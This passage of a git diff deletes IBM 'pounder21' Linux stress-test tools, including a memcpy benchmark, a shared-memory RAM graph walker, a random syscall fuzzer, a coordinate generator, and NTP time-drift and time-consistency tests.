-	char *p, *q;
-	short *sp, *sq;
-	int *ip, *iq;
-	long *lp, *lq;
-	__int64 *llp, *llq;
-	double *dp, *dq;
-	double t;
-
-	progname = av[0];
-	if (strrchr(progname, SLASHC))
-		progname = strrchr(progname, SLASHC) + 1;
-
-	while (ac > 1) {
-		if (equal(av[1], "-f")) {
-			ac--;
-			fflag = 1;
-			av++;
-		} else if (equal(av[1], "-w")) {
-			ac--;
-			wflag = 1;
-			av++;
-		} else if (equal(av[1], "-s")) {
-			ac--;
-			sflag = 1;
-			av++;
-		} else if (equal(av[1], "-p")) {
-			ac--;
-			pflag = 1;
-			av++;
-		} else if (equal(av[1], "-csv")) {
-			ac--;
-			csvflag++;
-			av++;
-		} else
-			break;
-	}
-	if (ac < 3) {
-		(void)
-		    printf("Usage: %s [-f] [-w] [-s] [-p] size cnt [method]\n",
-			   progname);
-		(void)
-		    printf
-		    ("\t-f flag says to malloc and free of the \"cnt\" times.\n");
-		(void)
-		    printf
-		    ("\t-w = set process min and max working set size to \"size\"\n");
-		(void)printf("\t-s = silent; only print averages\n");
-		(void)
-		    printf
-		    ("\t-p = prep; \"freshen\" cache before; -w disables\n");
-		(void)printf("\t-csv = print output in CSV format\n");
-
-		(void)printf("\tmethods:\n");
-		for (i = 0; i < nmethods; i++)
-			printf("\t%2d:\t%s\n", i, methods[i]);
-		return 0;
-	}
-
-	size = atoik(av[1]);
-
-	//
-	// Round size up to 4*sizeof(double) bytes.
-	//
-	if (size != ((size / (4 * sizeof(double))) * (4 * sizeof(double)))) {
-		size += (4 * sizeof(double));
-		size /= (4 * sizeof(double));
-		size *= (4 * sizeof(double));
-	}
-	cnt = (unsigned)atoik(av[2]);
-
-	if (fflag == 0) {
-		p1 = (char *)Malloc(size);
-		p2 = (char *)Malloc(size);
-		if (pflag)
-			memcpy(p1, p2, size);
-	}
-
-	printf("%s ", progname);
-	if (fflag)
-		printf("-f ");
-	if (wflag)
-		printf("-w ");
-	if (sflag)
-		printf("-s ");
-	if (pflag)
-		printf("-p ");
-	if (csvflag)
-		printf("-csv ");
-	printf("%u %u ", size, cnt);
-	if (csvflag) {
-		printf("Linux");
-	}
-	printf("\n");
-
-	if (ac == 3) {
-		ac = 4;
-		av[3] = "0";
-	}
-
-	for (; ac > 3; ac--, av++) {
-		if (isdigit(*av[3]))
-			method = *av[3] - '0';
-		if (method < 0 || method >= nmethods)
-			method = 0;
-		if (sflag)
-			tstart();
-		for (ui = 0; ui < cnt; ui++) {
-			if (!sflag) {
-				(void)printf("%s %d %d %-18.18s\t",
-					     progname, size, cnt,
-					     methods[method]);
-				tstart();
-			}
-			if (fflag == 1) {
-				p1 = (char *)Malloc(size);
-				p2 = (char *)Malloc(size);
-			}
-			switch (method) {
-			case 0:
-				(void)memcpy(p1, p2, size);
-				break;
-			case 1:
-				p = p1;
-				q = p2;
-				for (j = 0; j < size; j++)
-					*p++ = *q++;
-				break;
-			case 2:
-				sp = (short *)p1;
-				sq = (short *)p2;
-				for (j = 0; j < size; j += sizeof(short))
-					*sp++ = *sq++;
-				break;
-			case 3:
-				ip = (int *)p1;
-				iq = (int *)p2;
-				for (j = 0; j < size; j += sizeof(int))
-					*ip++ = *iq++;
-				break;
-			case 4:
-				lp = (long *)p1;
-				lq = (long *)p2;
-				for (j = 0; j < size; j += sizeof(long))
-					*lp++ = *lq++;
-				break;
-			case 5:
-				llp = (__int64 *) p1;
-				llq = (__int64 *) p2;
-				for (j = 0; j < size; j += sizeof(__int64))
-					*llp++ = *llq++;
-				break;
-			case 6:
-				dp = (double *)p1;
-				dq = (double *)p2;
-				for (j = 0; j < size; j += 4 * sizeof(double)) {
-					*dp++ = *dq++;
-					*dp++ = *dq++;
-					*dp++ = *dq++;
-					*dp++ = *dq++;
-				}
-				break;
-
-			}
-			if (fflag == 1) {
-				free(p1);
-				free(p2);
-			}
-			if (!sflag) {
-				tend();
-				t = tval();
-				tottim += t;
-				if (t == 0.0)
-					t = .0001;
-				printf(" %8.6f seconds %8.3f MB/s\n",
-				       t, (double)size / t / 1000000.);
-			}
-		}
-		if (sflag) {
-			tend();
-			tottim = tval();
-		}
-		if (csvflag) {
-			printf("%s,%u,%u,%8.3f,%8.3f\n",
-			       methods[method], size, size * cnt, tottim,
-			       (double)size / (tottim / cnt) / 1000000.);
-		} else {
-			(void)printf("\tAVG: %d %-18.18s\t", size,
-				     methods[method]);
-			(void)printf(" %8.3f MB/s\n",
-				     (double)size / (tottim / cnt) / 1000000.);
-		}
-		tottim = 0.0;
-	}
-	return 0;
-}
-
-size_t atoik(char *s)
-{
-	size_t ret = 0;
-	size_t base;
-
-	if (*s == '0') {
-		base = 8;
-		if (*++s == 'x' || *s == 'X') {
-			base = 16;
-			s++;
-		}
-	} else
-		base = 10;
-
-	for (; isxdigit(*s); s++) {
-		if (base == 16)
-			if (isalpha(*s))
-				ret = base * ret + (toupper(*s) - 'A');
-			else
-				ret = base * ret + (*s - '0');
-		else if (isdigit(*s))
-			ret = base * ret + (*s - '0');
-		else
-			break;
-	}
-	for (; isalpha(*s); s++) {
-		switch (toupper(*s)) {
-		case 'K':
-			ret *= 1024;
-			break;
-		case 'M':
-			ret *= 1024 * 1024;
-			break;
-		default:
-			return ret;
-		}
-	}
-	return ret;
-}
-
-void *Malloc(size_t sz)
-{
-	char *p;
-
-	p = (char *)malloc(sz);
-	if (p == NULL) {
-		(void)printf("malloc(%d) failed\n", sz);
-		exit(1);
-	}
-	return (void *)p;
-}
-
-static struct timeval _tstart, _tend;
-
-void tstart(void)
-{
-	gettimeofday(&_tstart, NULL);
-}
-
-void tend(void)
-{
-	gettimeofday(&_tend, NULL);
-}
-
-double tval()
-{
-	double t1, t2;
-
-	t1 = (double)_tstart.tv_sec + (double)_tstart.tv_usec / (1000 * 1000);
-	t2 = (double)_tend.tv_sec + (double)_tend.tv_usec / (1000 * 1000);
-	return t2 - t1;
-}
diff --git a/tools/pounder21/src/ramsnake/Makefile b/tools/pounder21/src/ramsnake/Makefile
deleted file mode 100644
index e22d335..0000000
--- a/tools/pounder21/src/ramsnake/Makefile
+++ /dev/null
@@ -1,30 +0,0 @@
-# Build shared memory stress test
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CFLAGS += -O3 -Wall
-bins = snake.exe
-
-all: ${bins}
-
-snake.exe: snake.c
-	$(CC) $(CFLAGS) -o snake.exe $<
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/ramsnake/snake.c b/tools/pounder21/src/ramsnake/snake.c
deleted file mode 100644
index 4a2f49b..0000000
--- a/tools/pounder21/src/ramsnake/snake.c
+++ /dev/null
@@ -1,313 +0,0 @@
-
-/*
- * Cheesy program to create a "graph" of nodes, spawn threads and
- * walk the graph.
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-#define _GNU_SOURCE
-#include <sys/mman.h>
-#include <malloc.h>
-#include <sys/sysinfo.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/time.h>
-#include <strings.h>
-#include <time.h>
-//#define __USE_GNU
-#include <sched.h>
-
-static int seed_random(void);
-static void populate_graph(void *region, unsigned long long node_count);
-static void alarm_func(int signum);
-static void print_help(const char *name);
-
-static struct timeval last;
-volatile unsigned long speed = 0;
-static unsigned long report_interval = 30;
-
-/*
- * A quick note: each graph "node" consists of some pointer off to another
- * part of the graph array.
- */
-
-static void print_help(const char *name)
-{
-	printf
-	    ("Usage: %s [-p num_threads] [-d ram_divisor | -n num_nodes] [-s report_intrvl] [-a add_intrvl] [-t]\n",
-	     name);
-	printf
-	    ("-d ram_divisor:	Use (total_ram / ram_divisor) as a graph (16).\n");
-	printf("-p num_threads:	Start up some number of threads (1).\n");
-	printf("-n num_nodes:	Create a graph with some number of nodes.\n");
-	printf("-s report_intvl	Seconds between speed reports (30).\n");
-	printf("-a add_intrvl:	Seconds between adding children (never).\n");
-#ifdef __cpu_set_t_defined
-	printf
-	    ("-t:		Assign each process to its own processor (no).\n");
-#else
-	printf("-t:		Not enabled because you need kernel 2.5.8+.\n");
-#endif
-}
-
-static void populate_graph(void *graph, unsigned long long node_count)
-{
-	unsigned long i;
-	void **ptr;
-	unsigned long gunk;
-
-	seed_random();
-
-	/* Each cell of the array points to another place in the array. */
-	for (i = 0, ptr = graph; i < node_count; i++, ptr++) {
-		gunk = (node_count - 1) * (rand() / (RAND_MAX + 1.0));
-		*ptr = (void *)(graph + (gunk * sizeof(void *)));
-	}
-}
-
-static int seed_random(void)
-{
-	int fp;
-	long seed;
-
-	fp = open("/dev/urandom", O_RDONLY);
-	if (fp < 0) {
-		perror("/dev/urandom");
-		return 0;
-	}
-
-	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
-		perror("read random seed");
-		return 0;
-	}
-
-	close(fp);
-	srand(seed);
-
-	return 1;
-}
-
-static void alarm_func(int signum)
-{
-	struct timeval now;
-	float time;
-
-	gettimeofday(&now, NULL);
-	time = (now.tv_usec + (now.tv_sec * 1000000))
-	    - (last.tv_usec + (last.tv_sec * 1000000));
-	time /= 1000000;
-
-	printf("%d: %.0f nodes/sec.\n", getpid(), speed / time);
-	fflush(stdout);
-	speed = 0;
-	last = now;
-
-	alarm(report_interval);
-}
-
-static void walk_graph(void *graph)
-{
-	void **curr = graph;
-
-	while (1) {
-		curr = *curr;
-		speed++;
-	}
-}
-
-int main(int argc, char *argv[])
-{
-	unsigned long long num_nodes, ram_size;
-	unsigned long num_forks = 1;
-	struct sysinfo info;
-	void *shm;
-	int *cond;
-	struct sigaction zig;
-	int c, add_wait = -1, is_parent = 1;
-#ifdef __cpu_set_t_defined
-	int affinity = 0;
-	cpu_set_t my_cpu_mask;
-#endif
-
-	/* By default we'll use 1/16th of total RAM, rounded
-	 * down to the nearest page. */
-	if (sysinfo(&info) != 0) {
-		perror("sysinfo");
-		return 1;
-	}
-
-	ram_size = info.totalram / 16;
-	ram_size = ram_size & ~(getpagesize() - 1);
-	num_nodes = ram_size / sizeof(void *);
-
-	/* Parse command line args */
-	while ((c = getopt(argc, argv, "a:p:n:d:s:t")) != -1) {
-		switch (c) {
-		case 'p':
-			num_forks = atoi(optarg);
-			break;
-		case 'd':
-			ram_size = info.totalram / atoi(optarg);
-			ram_size = ram_size & ~(getpagesize() - 1);
-			num_nodes = ram_size / sizeof(void *);
-			break;
-		case 'n':
-			num_nodes = atoi(optarg);
-			ram_size = num_nodes * sizeof(void *);
-			break;
-		case 's':
-			report_interval = atoi(optarg);
-			break;
-		case 'a':
-			add_wait = atoi(optarg);
-			break;
-#ifdef __cpu_set_t_defined
-		case 't':
-			affinity = 1;
-			break;
-#endif
-		default:
-			print_help(argv[0]);
-			return 0;
-		}
-	}
-
-	/* Will we exceed half the address space size?  Use 1/4 of it at most.  */
-	if (ram_size > ((unsigned long long)1 << ((sizeof(void *) * 8) - 1))) {
-		printf
-		    ("Was going to use %lluKB (%llu nodes) but that's too big.\n",
-		     ram_size / 1024, num_nodes);
-		ram_size = ((unsigned long long)1 << (sizeof(void *) * 8));
-		ram_size /= 4;
-		num_nodes = ram_size / sizeof(void *);
-		printf("Clamping to %lluKB (%llu nodes) instead.\n",
-		       ram_size / 1024, num_nodes);
-	}
-
-	/* Talk about what we're going to do. */
-	printf("Going to use %lluKB (%llu nodes).\n", ram_size / 1024,
-	       num_nodes);
-
-	/* Make a shared anonymous map of the RAM */
-	shm = mmap(NULL, ram_size, PROT_READ | PROT_WRITE,
-		   MAP_SHARED | MAP_ANONYMOUS, 0, 0);
-	if (shm == MAP_FAILED) {
-		perror("mmap");
-		return 2;
-	}
-	printf("mmap region: %p (%llu nodes)\n", shm, num_nodes);
-
-	/* Create an SHM condition variable.  Bogus, I know... */
-	cond = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
-		    MAP_SHARED | MAP_ANONYMOUS, 0, 0);
-	if (cond == MAP_FAILED) {
-		perror("mmap");
-		return 4;
-	}
-	*cond = 1;
-
-	/* Create a "graph" by populating it with random pointers. */
-	printf("Populating nodes...");
-	fflush(stdout);
-	populate_graph(shm, num_nodes);
-	printf("done.\n");
-
-	printf("Creating %lu processes with reports every %lu seconds \
-and %d seconds between adding children.\n", num_forks, report_interval, add_wait);
-
-	/* Fork off separate processes.  The shared region is shared
-	 * across all children.  If we only wanted one thread, we shouldn't
-	 * fork anything.  Note that the "cond" mmap is a really crappy
-	 * condition variable kludge that works well enough for HERE ONLY. */
-	for (c = (add_wait >= 0 ? 0 : 1); c < num_forks; c++) {
-		/* Child should wait for the condition and then break. */
-		if (!fork()) {
-#ifdef __cpu_set_t_defined
-			if (affinity) {
-				CPU_ZERO(&my_cpu_mask);
-				CPU_SET(c, &my_cpu_mask);
-				if (0 !=
-				    sched_setaffinity(0, sizeof(cpu_set_t),
-						      &my_cpu_mask)) {
-					perror("sched_setaffinity");
-				}
-			}
-#endif
-
-			is_parent = 0;
-			while (*cond) {
-				usleep(10000);
-			}
-			break;
-		}
-	}
-	if (is_parent) {
-#ifdef __cpu_set_t_defined
-		if (affinity) {
-			CPU_ZERO(&my_cpu_mask);
-			CPU_SET(0, &my_cpu_mask);
-			if (0 !=
-			    sched_setaffinity(0, sizeof(cpu_set_t),
-					      &my_cpu_mask)) {
-				perror("sched_setaffinity");
-			}
-		}
-#endif
-		printf("All threads created.  Launching!\n");
-		*cond = 0;
-	}
-
-	/* now start the work */
-	if (!is_parent) {
-start_thread:
-		/* Set up the alarm handler to print speed info. */
-		memset(&zig, 0x00, sizeof(zig));
-		zig.sa_handler = alarm_func;
-		sigaction(SIGALRM, &zig, NULL);
-		gettimeofday(&last, NULL);
-		alarm(report_interval);
-
-		/* Walk the graph. */
-		walk_graph(shm);
-
-		/* This function never returns */
-	} else {
-		/* Start the ramp-up.  The children will never die,
-		 * so we don't need to wait() for 'em.
-		 */
-		while (add_wait != -1) {
-			sleep(add_wait);
-			if (fork() == 0) {
-				/* goto is cheesy, but works. */
-				goto start_thread;
-			} else {
-				printf("Added thread.\n");
-			}
-		}
-		goto start_thread;
-	}
-
-	return 0;
-}
diff --git a/tools/pounder21/src/randacoords/Makefile b/tools/pounder21/src/randacoords/Makefile
deleted file mode 100644
index 9081ca0..0000000
--- a/tools/pounder21/src/randacoords/Makefile
+++ /dev/null
@@ -1,27 +0,0 @@
-# Build program to generate random coordinates
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CFLAGS += -O3 -Wall
-bins = coords
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/randacoords/coords.c b/tools/pounder21/src/randacoords/coords.c
deleted file mode 100644
index 6b290f0..0000000
--- a/tools/pounder21/src/randacoords/coords.c
+++ /dev/null
@@ -1,73 +0,0 @@
-/* Generate window size/position coordinates for -geometry switches */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <unistd.h>
-#include <limits.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-int seed_random(void)
-{
-	int fp;
-	long seed;
-
-	fp = open("/dev/urandom", O_RDONLY);
-	if (fp < 0) {
-		perror("/dev/urandom");
-		return 0;
-	}
-
-	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
-		perror("read random seed");
-		return 0;
-	}
-
-	close(fp);
-	srand(seed);
-
-	return 1;
-}
-
-int main(int argc, char *argv[])
-{
-	unsigned long xmax, ymax;
-	unsigned long x, y;
-
-	if (argc < 3) {
-		fprintf(stderr, "Usage: %s xmax ymax\n", argv[0]);
-		return 2;
-	}
-
-	xmax = atoi(argv[1]);
-	ymax = atoi(argv[2]);
-
-	if (!seed_random()) {
-		return 1;
-	}
-
-	x = 1 + (unsigned long)((float)xmax * (rand() / (RAND_MAX + 1.0f)));
-	y = 1 + (unsigned long)((float)ymax * (rand() / (RAND_MAX + 1.0f)));
-
-	printf("+%lu+%lu\n", x, y);
-
-	return 0;
-}
diff --git a/tools/pounder21/src/randasyscall/Makefile b/tools/pounder21/src/randasyscall/Makefile
deleted file mode 100644
index 77d1fdc..0000000
--- a/tools/pounder21/src/randasyscall/Makefile
+++ /dev/null
@@ -1,27 +0,0 @@
-# Build the random syscall generator
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CFLAGS += -O3 -Wall
-bins = randasys
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/randasyscall/randasys.c b/tools/pounder21/src/randasyscall/randasys.c
deleted file mode 100644
index 14cbb5a..0000000
--- a/tools/pounder21/src/randasyscall/randasys.c
+++ /dev/null
@@ -1,252 +0,0 @@
-/*
- * Program that makes random system calls with random arguments.
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <signal.h>
-#include <limits.h>
-#include <strings.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <stdio.h>
-#include <sys/syscall.h>
-#include <stdint.h>
-#include <stdlib.h>
-
-unsigned long callnum, args[6];
-
-int seed_random(void)
-{
-	int fp;
-	long seed;
-
-	fp = open("/dev/urandom", O_RDONLY);
-	if (fp < 0) {
-		perror("/dev/urandom");
-		return 0;
-	}
-
-	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
-		perror("read random seed");
-		return 0;
-	}
-
-	close(fp);
-	srand(seed);
-
-	return 1;
-}
-
-void get_big_randnum(void *buf, unsigned int size)
-{
-	uint32_t *x = buf;
-	int i;
-
-	for (i = 0; i < size; i += 4, x++) {
-		*x = (unsigned long)((float)UINT_MAX *
-				     (rand() / (RAND_MAX + 1.0)));
-	}
-}
-
-unsigned long get_randnum(unsigned long min, unsigned long max)
-{
-	return min + (unsigned long)((float)max * (rand() / (RAND_MAX + 1.0)));
-}
-
-int find_syscall(void)
-{
-	int x;
-
-badcall:
-	x = get_randnum(0, 384);
-
-	/* poorly implemented blacklist */
-	switch (x) {
-		/* don't screw with signal handling */
-#ifdef SYS_signal
-	case SYS_signal:
-#endif
-#ifdef SYS_sigaction
-	case SYS_sigaction:
-#endif
-#ifdef SYS_sigsuspend
-	case SYS_sigsuspend:
-#endif
-#ifdef SYS_sigpending
-	case SYS_sigpending:
-#endif
-#ifdef SYS_sigreturn
-	case SYS_sigreturn:
-#endif
-#ifdef SYS_sigprocmask
-	case SYS_sigprocmask:
-#endif
-#ifdef SYS_rt_sigreturn
-	case SYS_rt_sigreturn:
-#endif
-#ifdef SYS_rt_sigaction
-	case SYS_rt_sigaction:
-#endif
-#ifdef SYS_rt_sigprocmask
-	case SYS_rt_sigprocmask:
-#endif
-#ifdef SYS_rt_sigpending
-	case SYS_rt_sigpending:
-#endif
-#ifdef SYS_rt_sigtimedwait
-	case SYS_rt_sigtimedwait:
-#endif
-#ifdef SYS_rt_sigqueueinfo
-	case SYS_rt_sigqueueinfo:
-#endif
-#ifdef SYS_rt_sigsuspend
-	case SYS_rt_sigsuspend:
-#endif
-#ifdef SYS_sigaltstack
-	case SYS_sigaltstack:
-#endif
-#ifdef SYS_settimeofday
-	case SYS_settimeofday:
-#endif
-
-		/* don't exit the program :P */
-#ifdef SYS_exit
-	case SYS_exit:
-#endif
-#ifdef SYS_exit_group
-	case SYS_exit_group:
-#endif
-
-		/* don't put it to sleep either */
-#ifdef SYS_pause
-	case SYS_pause:
-#endif
-#ifdef SYS_select
-	case SYS_select:
-#endif
-#ifdef SYS_read
-	case SYS_read:
-#endif
-#ifdef SYS_write
-	case SYS_write:
-#endif
-
-		/* these can fill the process table */
-#ifdef SYS_fork
-	case SYS_fork:
-#endif
-#ifdef SYS_vfork
-	case SYS_vfork:
-#endif
-#ifdef SYS_clone
-	case SYS_clone:
-#endif
-
-		/* This causes OOM conditions */
-#if 1
-#ifdef SYS_brk
-	case SYS_brk:
-#endif
-#endif
-
-		/* these get our program killed */
-#ifdef SYS_vm86
-	case SYS_vm86:
-#endif
-#ifdef SYS_vm86old
-	case SYS_vm86old:
-#endif
-		goto badcall;
-	}
-
-	return x;
-}
-
-void bogus_signal_handler(int signum)
-{
-	fprintf(stderr,
-		"                                    Signal %d on syscall(%lu, 0x%lX, 0x%lX, 0x%lX, 0x%lX, 0x%lX, 0x%lX).\n",
-		signum, callnum, args[0], args[1], args[2], args[3], args[4],
-		args[5]);
-}
-
-void real_signal_handler(int signum)
-{
-	exit(0);
-}
-
-void install_signal_handlers(void)
-{
-	int x;
-	struct sigaction zig;
-
-	memset(&zig, 0x00, sizeof(zig));
-	zig.sa_handler = bogus_signal_handler;
-	for (x = 0; x < 64; x++) {
-		sigaction(x, &zig, NULL);
-	}
-
-	zig.sa_handler = real_signal_handler;
-	sigaction(SIGINT, &zig, NULL);
-	sigaction(SIGTERM, &zig, NULL);
-}
-
-int main(int argc, char *argv[])
-{
-	int i;
-	int debug = 0, zero_mode = 0;
-
-	if (!seed_random()) {
-		return 1;
-	}
-
-	for (i = 1; i < argc; i++) {
-		if (!strcmp(argv[i], "-d"))
-			debug = 1;
-		else if (!strcmp(argv[i], "-z"))
-			zero_mode = 1;
-	}
-
-	memset(args, 0, sizeof(unsigned long) * 6);
-
-	install_signal_handlers();
-
-	while (1) {
-		callnum = find_syscall();
-		if (!zero_mode)
-			get_big_randnum(&args[0], sizeof(unsigned long) * 6);
-
-		if (debug) {
-			printf("syscall(%lu, 0x%lX, 0x%lX, 0x%lX, 0x%lX, "
-			       "0x%lX, 0x%lX);       \n",
-			       callnum, args[0], args[1], args[2], args[3],
-			       args[4], args[5]);
-			fflush(stdout);
-		}
-
-		syscall(callnum, args[0], args[1], args[2],
-			args[3], args[4], args[5]);
-	}
-
-	return 0;
-}
diff --git a/tools/pounder21/src/time_tests/Makefile b/tools/pounder21/src/time_tests/Makefile
deleted file mode 100644
index 378da59..0000000
--- a/tools/pounder21/src/time_tests/Makefile
+++ /dev/null
@@ -1,28 +0,0 @@
-# Build time tests
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-LDFLAGS += -lrt
-CFLAGS += -O3
-bins = inconsistency-check
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/time_tests/drift-test.py b/tools/pounder21/src/time_tests/drift-test.py
deleted file mode 100755
index aba1909..0000000
--- a/tools/pounder21/src/time_tests/drift-test.py
+++ /dev/null
@@ -1,90 +0,0 @@
-#!/usr/bin/python
-
-# Time Drift Script
-#		Periodically checks and displays time drift
-#		by john stultz (jstultz@us.ibm.com)
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Usage: drift-test.py [-s] [ntp_server [sleep_time]]
-
-import commands
-import sys
-import string
-import time
-
-server_default = "bvrgsa.ibm.com"
-sleep_time_default  = 60
-
-server = ""
-sleep_time = 0
-set_time = 0
-
-#parse args
-for arg in sys.argv[1:]:
-	if arg == "-s":
-		set_time = 1
-	elif server == "":
-		server = arg
-	elif sleep_time == 0:
-		sleep_time = string.atoi(arg)
-
-if server == "":
-	server = server_default
-if sleep_time == 0:
-	sleep_time = sleep_time_default
-
-#set time
-if (set_time == 1):
-	cmd = commands.getoutput('/usr/sbin/ntpdate -ub ' + server)
-
-cmd = commands.getoutput('/usr/sbin/ntpdate -uq ' + server)
-line = string.split(cmd)
-
-#parse original offset
-start_offset = string.atof(line[-2]);
-#parse original time
-start_time = time.localtime(time.time())
-datestr = time.strftime("%d %b %Y %H:%M:%S", start_time)
-
-time.sleep(1)
-while 1:
-	cmd = commands.getoutput('/usr/sbin/ntpdate -uq ' + server)
-	line = string.split(cmd)
-
-	#parse offset
-	now_offset = string.atof(line[-2]);
-
-	#parse time
-	now_time = time.localtime(time.time())
-	datestr = time.strftime("%d %b %Y %H:%M:%S", now_time)
-
-	# calculate drift
-	delta_time = time.mktime(now_time) - time.mktime(start_time)
-	delta_offset = now_offset - start_offset
-	drift =  delta_offset / delta_time * 1000000
-
-	#print output
-	print time.strftime("%d %b %H:%M:%S",now_time),
-	print "	offset:", now_offset ,
-	print "	drift:", drift ,"ppm"
-	sys.stdout.flush()
-
-	#sleep
-	time.sleep(sleep_time)
diff --git a/tools/pounder21/src/time_tests/inconsistency-check.c b/tools/pounder21/src/time_tests/inconsistency-check.c
deleted file mode 100644
index 38f4b29..0000000
--- a/tools/pounder21/src/time_tests/inconsistency-check.c
+++ /dev/null
@@ -1,102 +0,0 @@
-/* Time inconsistency check test
- *		by: john stultz (johnstul@us.ibm.com)
- *		(C) Copyright IBM 2003, 2004, 2005
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <time.h>
-#include <sys/time.h>
-
-#define CALLS_PER_LOOP 64
-#define NSEC_PER_SEC 1000000000ULL
-
-/* returns 1 if a <= b, 0 otherwise */
-static inline int in_order(struct timespec a, struct timespec b)
-{
-	if (a.tv_sec < b.tv_sec)
-		return 1;
-	if (a.tv_sec > b.tv_sec)
-		return 0;
-	if (a.tv_nsec > b.tv_nsec)
-		return 0;
